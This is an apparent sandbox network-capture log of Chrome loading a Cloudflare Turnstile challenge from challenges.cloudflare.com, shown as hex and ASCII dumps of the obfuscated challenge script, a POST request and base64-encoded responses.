2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 Data Ascii: vacy","turnstile_verifying":"Verifying...","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_footer_terms":"Terms","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20vi
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 2c 66 45 2c 66 4f 2c 66 5a 2c 67 33 2c 67 36 2c 67 37 2c 67 78 2c 67 45 2c 67 34 2c 67 35 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 33 37 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 35 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 34 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 31 36 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 30 39 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 38 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 39 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fE,fO,fZ,g3,g6,g7,gx,gE,g4,g5){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1537))/1+-parseInt(gI(975))/2(parseInt(gI(604))/3)+-parseInt(gI(1516))/4(parseInt(gI(509))/5)+-parseInt(gI(1387))/6+-parseInt(gI(789))/7+parseInt(gI(
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 68 76 6f 68 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 41 52 65 4a 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 78 68 70 54 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 76 57 65 6f 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 5e 68 7d 2c 27 42 45 62 59 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 46 43 51 56 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 5a 43 42 74 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 Data Ascii: h,i){return h(i)},'hvohj':function(h,i){return h+i},'AReJf':function(h,i){return h^i},'xhpTu':function(h,i){return h<<i},'vWeoM':function(h,i){return i^h},'BEbYT':function(h,i){return h+i},'FCQVp':function(h,i){return h!=i},'ZCBtu':function(h,i){return i&
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 31 33 31 34 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 4e 28 36 33 37 29 5d 28 64 5b 67 4e 28 31 33 38 38 29 5d 28 48 2c 31 29 2c 4d 29 2c 49 3d 3d 64 5b 67 4e 28 31 30 38 37 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4e 28 36 36 32 29 5d 28 64 5b 67 4e 28 33 31 34 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4e 28 35 38 32 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 64 5b 67 4e 28 31 31 36 37 29 5d 28 64 5b 67 4e 28 34 39 35 29 5d 28 48 2c 31 29 2c 31 2e 33 38 26 4d 29 2c 49 3d 3d 64 5b 67 4e 28 31 30 38 37 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4e 28 36 36 32 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 72 65 74 75 Data Ascii: 1314)](s,F);H=d[gN(637)](d[gN(1388)](H,1),M),I==d[gN(1087)](j,1)?(I=0,G[gN(662)](d[gN(314)](o,H)),H=0):I++,M=0,s++);for(M=C[gN(582)](0),s=0;16>s;H=d[gN(1167)](d[gN(495)](H,1),1.38&M),I==d[gN(1087)](j,1)?(I=0,G[gN(662)](o(H)),H=0):I++,M>>=1,s++);}else retu
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 4e 28 36 36 32 29 5d 28 64 5b 67 4e 28 38 35 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 44 3d 3d 30 26 26 46 2b 2b 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 4d 26 31 7c 48 3c 3c 31 2c 64 5b 67 4e 28 36 37 36 29 5d 28 49 2c 64 5b 67 4e 28 38 35 35 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 67 4e 28 36 36 32 29 5d 28 64 5b 67 4e 28 31 30 36 39 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 29 7b 47 5b 67 4e 28 36 36 32 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 4e 28 31 34 31 39 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 Data Ascii: N(662)](d[gN(858)](o,H)),H=0):I++,M>>=1,s++);D--,D==0&&F++}for(M=2,s=0;s<F;H=M&1\|H<<1,d[gN(676)](I,d[gN(855)](j,1))?(I=0,G[gN(662)](d[gN(1069)](o,H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==j-1){G[gN(662)](o(H));break}else I++;return G[gN(1419)]('')},'j':f
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 5d 2c 69 5b 67 58 28 31 31 33 37 29 5d 28 69 5b 67 58 28 31 31 33 38 29 5d 28 74 68 69 73 2e 68 5b 69 5b 67 58 28 31 31 34 32 29 5d 28 38 39 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 67 58 28 35 38 32 29 5d 28 74 68 69 73 2e 68 5b 69 5b 67 58 28 31 35 34 31 29 5d 28 38 39 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2c 31 39 37 29 2c 32 35 36 29 26 32 35 35 29 2c 38 29 7c 69 5b 67 58 28 31 31 34 32 29 5d 28 74 68 69 73 2e 68 5b 69 5b 67 58 28 31 33 34 34 29 5d 28 38 39 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 69 5b 67 58 28 38 37 31 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 38 39 2e 37 39 5d 5b 31 5d 5b 67 58 28 35 38 32 29 5d 28 74 68 69 73 2e 68 5b 69 5b 67 58 28 31 30 31 34 29 5d 28 38 39 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 31 39 37 2c Data Ascii: ],i[gX(1137)](i[gX(1138)](this.h[i[gX(1142)](89,this.g)][1][gX(582)](this.h[i[gX(1541)](89,this.g)][0]++),197),256)&255),8)\|i[gX(1142)](this.h[i[gX(1344)](89,this.g)][3],i[gX(871)](this.h[this.g^89.79][1][gX(582)](this.h[i[gX(1014)](89,this.g)][0]++)-197,
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 3d 31 3b 4b 21 3d 46 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 59 28 35 38 31 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 59 28 31 36 30 31 29 5d 28 64 5b 67 59 28 35 36 38 29 5d 28 30 2c 4e 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 67 59 28 38 32 39 29 5d 28 65 2c 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 59 28 39 36 35 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 59 28 36 32 35 29 5d 28 46 2c 4b 29 3b 4e 3d 64 5b 67 59 28 31 34 30 38 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 59 28 31 36 30 38 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 Data Ascii: =1;K!=F;N=G&H,H>>=1,H==0&&(H=j,G=d[gY(581)](o,I++)),J\|=d[gY(1601)](d[gY(568)](0,N)?1:0,F),F<<=1);s[B++]=d[gY(829)](e,J),O=B-1,x--;break;case 1:for(J=0,K=Math[gY(965)](2,16),F=1;d[gY(625)](F,K);N=d[gY(1408)](G,H),H>>=1,0==H&&(H=j,G=d[gY(1608)](o,I++)),J\|=(
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 33 28 31 36 37 34 29 5d 5b 68 33 28 39 30 34 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 33 28 37 38 37 29 5d 28 43 2c 78 5b 68 33 28 33 39 31 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 33 28 39 31 36 29 5d 28 65 53 2c 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 68 33 28 31 35 37 30 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 33 28 31 31 39 39 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 33 28 31 35 37 30 29 5d 28 68 33 28 31 35 33 39 29 2c 6f 5b 68 33 28 37 34 35 29 5d 28 69 2c 44 29 29 3f 6f 5b 68 33 28 31 31 32 39 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 68 33 28 31 31 32 39 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e Data Ascii: aAb'.split('A'),B=B[h3(1674)][h3(904)](B),C=0;o[h3(787)](C,x[h3(391)]);D=x[C],E=o[h3(916)](eS,g,h,D),B(E)?(F=o[h3(1570)]('s',E)&&!g[h3(1199)](h[D]),o[h3(1570)](h3(1539),o[h3(745)](i,D))?o[h3(1129)](s,i+D,E):F\|\|o[h3(1129)](s,i+D,h[D])):s(i+D,E),C++);return
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 6c 28 36 30 35 29 5d 5b 68 6c 28 31 36 33 37 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 6c 28 36 30 35 29 5d 5b 68 6c 28 31 31 37 30 29 5d 2c 27 63 6f 64 65 27 3a 68 6c 28 39 34 37 29 2c 27 72 63 56 27 3a 65 4d 5b 68 6c 28 36 30 35 29 5d 5b 68 6c 28 35 31 34 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 39 34 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 6d 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 6d 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 6d 28 38 38 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 7d 2c 6a 5b 68 6d 28 35 35 38 29 5d 3d 68 6d 28 39 31 34 29 Data Ascii: ChlOut':eM[hl(605)][hl(1637)],'cfChlOutS':eM[hl(605)][hl(1170)],'code':hl(947),'rcV':eM[hl(605)][hl(514)]},'*'))},g)},eM[gJ(940)]=function(g,h,i,hm,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(hm=gJ,j={},j[hm(886)]=function(G,H){return G instanceof H},j[hm(558)]=hm(914)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49745	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:02 UTC	1173	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3072 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:02 UTC	3072	OUT	Data Raw: 76 5f 38 65 63 32 30 65 30 31 30 38 35 39 34 32 32 39 3d 78 32 48 33 42 33 47 33 78 33 59 33 37 77 46 66 77 46 4e 33 77 4c 33 57 49 48 76 46 58 77 65 6a 46 61 43 46 30 49 4a 49 77 4c 47 46 65 33 78 48 77 35 25 32 62 48 46 41 55 7a 49 37 76 31 75 62 46 2d 34 33 46 67 4c 46 47 49 30 69 46 63 4f 31 54 46 4f 63 49 30 75 46 51 49 46 6a 46 7a 4f 46 4d 2b 31 33 6c 48 49 46 7a 6a 6a 41 53 34 59 33 37 2b 38 62 37 47 6a 64 6f 59 49 46 59 6c 44 34 51 34 46 34 41 35 55 46 62 4a 76 4d 66 30 44 33 6d 32 34 58 4a 4a 38 78 55 34 46 58 7a 6b 50 46 37 62 58 46 46 64 46 79 51 6b 4e 30 74 7a 38 46 46 50 4f 46 31 58 46 6f 74 4d 46 70 2b 42 64 43 30 4d 46 34 49 31 6b 55 50 24 46 35 51 4f 46 6f 4f 38 34 68 46 34 46 47 6d 6d 4c 6a 46 34 6f 35 31 59 76 75 74 74 69 33 34 50 46 65 Data Ascii: v_8ec20e0108594229=x2H3B3G3x3Y37wFfwFN3wL3WIHvFXwejFaCF0IJIwLGFe3xHw5%2bHFAUzI7v1ubF-43FgLFGI0iFcO1TFOcI0uFQIFjFzOFM+13lHIFzjjAS4Y37+8b7GjdoYIFYlD4Q4F4A5UFbJvMf0D3m24XJJ8xU4FXzkPF7bXFFdFyQkN0tz8FFPOF1XFotMFp+BdC0MF4I1kUP$F5QOFoO84hF4FGmmLjF4o51Yvutti34PFe
2024-12-03 08:06:02 UTC	747	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:02 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149808 Connection: close cf-chl-gen: 0DAHtWIhjzhx/Xd5wt0zBxXbKBcWsBp6br3AF/Vg/RO1oumgxBrEvWroQyA0nKpkM+qz8KA0Fi0MHdYHm78xkr5h9dN8BiJKAQ+PYZMnMxmsWefcwwRKudeXvEa1TgMGoIYZ7E2gC4kNTwG0hC945JhkMp/3e9F9wIvqGOJoESn4kTi/ufx+q24fKr35yWmPPfuoPMUe/xwBFY+fpUcLtMg4sWzqCKPtu3RraTG+vknNAbT2YvecHav8GWM2Gs5oXJMNqnEQWmx3lSJdcu2L1DrU4eTquWyKk1attT3F27e/uWWzpggDtEuUmdGQjrqyyq6MsdtXT89w6xYhvGrAnnGQh8o22ZWxIe4vuyLxMSNQOa4jHzKIliZMjk8lj00B6f3LlILic04T6dpacs4jc6du7vw758qm+OPcjOx1fDdw5LvALIf8vPiVLddndgObSzInK2DGfDPEtrFe01zMI7JV76/xWx1NInNQrpXrU0q0vv0=$rBEJRtvl45UrZKJZ Server: cloudflare CF-RAY: 8ec20e19fd4042c4-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:02 UTC	622	IN	Data Raw: 6d 48 47 4a 64 32 70 61 64 35 32 5a 58 4b 42 2f 62 59 79 42 66 35 52 6a 59 6e 69 64 66 4a 68 6b 61 34 71 5a 66 34 61 74 74 57 79 32 64 37 71 71 6c 4b 69 71 69 33 32 7a 65 70 4b 6b 66 61 2b 7a 6b 4b 62 49 6c 37 54 4b 77 6f 61 4b 70 74 47 66 76 4c 43 79 30 70 53 75 77 73 71 6c 6d 61 75 72 78 39 4b 2b 32 70 2b 36 75 4e 75 69 76 74 62 59 70 64 6a 49 37 64 37 4f 37 4c 2f 63 79 2b 4c 33 74 66 58 6d 2b 37 6e 53 37 72 69 37 73 74 7a 77 38 75 4c 42 30 2f 48 68 33 50 37 4a 35 4d 50 38 42 73 76 75 79 65 7a 7a 34 42 6a 54 79 67 4d 4d 31 38 34 50 48 75 6a 72 34 43 48 33 42 76 33 78 39 69 6f 64 4c 4e 30 75 37 65 51 69 49 53 6f 79 37 50 50 76 4b 68 58 78 41 79 67 61 4d 50 55 74 4d 41 38 62 4e 69 78 44 2f 6a 6f 52 41 51 63 30 48 55 78 46 43 68 6b 39 43 78 4d 64 4a 43 35 Data Ascii: mHGJd2pad52ZXKB/bYyBf5RjYnidfJhka4qZf4attWy2d7qqlKiqi32zepKkfa+zkKbIl7TKwoaKptGfvLCy0pSuwsqlmaurx9K+2p+6uNuivtbYpdjI7d7O7L/cy+L3tfXm+7nS7ri7stzw8uLB0/Hh3P7J5MP8Bsvuyezz4BjTygMM184PHujr4CH3Bv3x9iodLN0u7eQiISoy7PPvKhXxAygaMPUtMA8bNixD/joRAQc0HUxFChk9CxMdJC5
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 73 6d 5a 6c 6f 74 50 30 42 68 55 44 52 47 56 69 35 54 52 45 4e 58 52 6a 78 38 61 56 68 4e 62 31 39 4d 5a 6c 39 38 5a 34 4f 4c 61 48 68 4c 65 6f 36 4a 59 30 68 54 6b 32 39 2b 6a 49 56 50 59 34 74 33 6e 70 4e 31 64 36 43 6a 66 47 31 38 70 48 71 6e 66 34 4f 68 70 58 2b 6f 67 5a 6d 75 68 61 64 6d 73 71 5a 76 69 59 79 46 63 34 75 61 6b 36 2b 4a 75 62 4b 57 73 63 43 37 78 35 48 4b 75 49 6e 44 66 36 4c 45 6d 37 71 2f 76 74 47 77 78 6f 2b 72 70 62 50 47 71 4a 66 4b 76 38 75 77 73 37 54 50 76 36 4b 6d 77 64 2f 70 70 71 4f 37 37 72 33 43 32 63 2f 50 7a 4d 7a 43 77 4f 6e 4c 7a 76 62 56 75 63 37 4b 77 4f 37 58 39 76 66 2b 30 39 72 6c 35 4e 33 66 78 50 37 6c 36 4d 6a 63 34 4e 48 4d 34 4f 54 4e 30 4f 54 70 35 74 54 6f 37 65 37 59 37 4f 38 64 33 50 44 7a 49 67 72 39 35 Data Ascii: smZlotP0BhUDRGVi5TRENXRjx8aVhNb19MZl98Z4OLaHhLeo6JY0hTk29+jIVPY4t3npN1d6CjfG18pHqnf4OhpX+ogZmuhadmsqZviYyFc4uak6+JubKWscC7x5HKuInDf6LEm7q/vtGwxo+rpbPGqJfKv8uws7TPv6Kmwd/ppqO77r3C2c/PzMzCwOnLzvbVuc7KwO7X9vf+09rl5N3fxP7l6Mjc4NHM4OTN0OTp5tTo7e7Y7O8d3PDzIgr95
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 4c 53 6d 39 79 4d 6c 68 50 52 6d 4a 75 62 30 64 2b 54 6d 31 4a 59 6c 35 69 5a 47 2b 46 64 59 42 6b 6a 47 52 71 61 6f 2b 50 5a 6e 4b 55 66 49 42 75 6c 6f 46 6e 64 58 46 32 69 6e 32 67 6d 6e 35 32 6c 71 46 31 63 36 46 32 63 6f 42 72 66 48 57 46 69 49 52 6a 69 47 75 51 72 59 70 7a 71 6f 4f 51 65 34 69 39 6b 59 6d 4d 6d 34 32 50 6b 4a 2b 52 6d 35 53 6a 6c 61 4f 59 70 35 6d 72 6a 6f 6d 51 77 36 6d 67 6a 64 4c 50 32 4d 6e 56 32 37 4f 32 76 63 2b 76 72 4e 47 6a 33 71 53 5a 70 75 58 61 70 73 47 36 74 38 4c 68 36 75 44 42 39 4e 44 51 35 73 66 4c 37 62 71 36 75 4d 66 65 34 63 47 2b 34 50 6b 47 38 37 37 62 30 76 6a 7a 2f 63 66 71 34 4d 6a 71 35 65 45 56 43 75 67 46 36 50 49 47 35 78 7a 63 47 64 6b 50 43 68 59 58 47 51 58 66 2f 41 6f 58 34 69 4d 64 44 41 77 72 4a 79 Data Ascii: LSm9yMlhPRmJub0d+Tm1JYl5iZG+FdYBkjGRqao+PZnKUfIBuloFndXF2in2gmn52lqF1c6F2coBrfHWFiIRjiGuQrYpzqoOQe4i9kYmMm42PkJ+Rm5SjlaOYp5mrjomQw6mgjdLP2MnV27O2vc+vrNGj3qSZpuXapsG6t8Lh6uDB9NDQ5sfL7bq6uMfe4cG+4PkG877b0vjz/cfq4Mjq5eEVCugF6PIG5xzcGdkPChYXGQXf/AoX4iMdDAwrJy
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 4f 56 4a 36 65 7a 31 57 66 6d 68 42 57 6f 4a 74 55 32 46 64 59 6e 5a 70 6a 49 5a 71 59 6f 4b 4e 59 56 2b 4f 69 4a 52 6f 53 57 69 48 61 58 5a 77 54 33 52 58 66 4a 6c 32 58 35 5a 76 66 47 64 30 71 58 31 7a 58 6f 43 4a 69 37 43 4a 61 33 4a 79 72 37 4f 79 71 36 79 58 71 34 65 6f 73 70 32 4c 66 71 43 4c 68 4b 62 43 77 4c 4f 47 74 35 6d 73 7a 4d 76 46 70 4c 71 61 69 73 4f 79 71 35 47 51 6c 49 79 6c 74 62 48 63 30 61 76 63 76 73 54 50 77 74 37 49 75 39 6e 71 36 37 2b 6f 36 4f 6d 2f 73 63 76 4b 35 64 4c 51 31 4d 6e 78 35 73 6d 38 75 73 76 2b 34 66 4f 39 34 4f 7a 69 42 67 66 57 75 77 6a 4c 43 4e 6a 6f 33 4f 77 53 38 75 66 4d 2f 63 2f 50 31 42 54 34 30 77 62 37 38 74 73 59 45 77 76 30 46 68 55 46 4a 67 41 64 46 53 6f 72 4b 51 38 78 4d 42 30 4c 4d 78 30 45 45 67 34 Data Ascii: OVJ6ez1WfmhBWoJtU2FdYnZpjIZqYoKNYV+OiJRoSWiHaXZwT3RXfJl2X5ZvfGd0qX1zXoCJi7CJa3Jyr7Oyq6yXq4eosp2LfqCLhKbCwLOGt5mszMvFpLqaisOyq5GQlIyltbHc0avcvsTPwt7Iu9nq67+o6Om/scvK5dLQ1Mnx5sm8usv+4fO94OziBgfWuwjLCNjo3OwS8ufM/c/P1BT40wb78tsYEwv0FhUFJgAdFSorKQ8xMB0LMx0EEg4
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 56 56 52 58 31 35 76 52 58 4a 65 63 34 70 37 58 31 31 56 54 47 78 65 63 48 42 71 69 32 39 52 6b 5a 4b 4a 54 47 35 76 5a 6c 52 37 65 31 78 61 66 35 64 2f 6a 70 79 58 70 70 61 4d 71 4a 32 6b 6f 70 70 2f 70 4a 78 78 61 32 39 75 6a 59 6d 58 6c 6f 32 72 76 35 79 35 71 71 47 33 77 36 36 6a 77 72 75 57 71 4c 2b 68 77 38 4b 6c 6e 62 71 61 68 62 48 57 6f 61 47 51 79 72 47 6f 6c 4b 69 72 31 63 47 31 6e 73 43 6b 30 72 7a 69 32 2b 4b 31 37 4e 37 56 32 4b 2f 65 76 36 6e 6b 38 37 54 4d 36 4c 4c 43 79 2b 33 52 37 73 2f 51 2f 4f 33 32 77 72 2b 2b 34 74 50 62 35 63 4c 73 2b 65 55 43 34 38 6a 70 46 4f 37 6c 35 66 58 4e 44 65 49 51 45 39 4c 62 2f 74 59 51 2f 76 66 64 33 4f 44 6d 33 75 4c 39 4b 52 37 38 4b 51 73 52 48 42 4c 78 38 67 67 43 44 77 4d 32 41 67 6a 7a 43 78 38 39 Data Ascii: VVRX15vRXJec4p7X11VTGxecHBqi29RkZKJTG5vZlR7e1xaf5d/jpyXppaMqJ2kopp/pJxxa29ujYmXlo2rv5y5qqG3w66jwruWqL+hw8KlnbqahbHWoaGQyrGolKir1cG1nsCk0rzi2+K17N7V2K/ev6nk87TM6LLCy+3R7s/Q/O32wr++4tPb5cLs+eUC48jpFO7l5fXNDeIQE9Lb/tYQ/vfd3ODm3uL9KR78KQsRHBLx8ggCDwM2AgjzCx89
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 6f 2f 50 30 5a 53 52 6e 35 39 58 45 56 63 6b 57 56 64 59 47 39 68 59 32 52 7a 5a 58 46 4f 64 5a 35 61 6d 6e 4f 69 6d 5a 74 33 63 48 2b 58 6f 70 69 4a 65 5a 6d 66 67 58 68 6e 70 6f 36 6e 62 6f 36 57 69 35 69 79 70 61 2b 4c 6e 72 53 63 74 72 4b 72 74 37 6d 6b 6f 4b 47 6c 77 4c 6d 4c 70 4d 58 48 69 35 75 2f 6a 63 32 51 77 4e 48 4a 70 63 4f 33 73 64 44 64 30 64 53 77 76 4b 36 35 74 70 69 38 78 61 6e 69 78 38 50 62 76 75 2f 46 33 36 72 64 34 75 7a 50 33 38 72 61 38 62 72 53 31 4d 72 2b 37 67 4c 62 76 67 55 43 35 75 6a 78 35 38 45 43 36 39 6e 32 43 50 6b 48 42 77 59 4f 30 51 62 4f 42 78 6b 52 38 75 37 2b 2b 78 38 4a 37 66 6f 68 4a 4f 30 69 35 69 55 46 42 66 6a 30 34 77 50 35 36 77 67 77 4d 2f 51 6b 37 7a 49 47 49 2f 48 33 4e 67 77 4c 51 42 67 79 49 44 45 52 2f Data Ascii: o/P0ZSRn59XEVckWVdYG9hY2RzZXFOdZ5amnOimZt3cH+XopiJeZmfgXhnpo6nbo6Wi5iypa+LnrSctrKrt7mkoKGlwLmLpMXHi5u/jc2QwNHJpcO3sdDd0dSwvK65tpi8xanix8Pbvu/F36rd4uzP38ra8brS1Mr+7gLbvgUC5ujx58EC69n2CPkHBwYO0QbOBxkR8u7++x8J7fohJO0i5iUFBfj04wP56wgwM/Qk7zIGI/H3NgwLQBgyIDER/
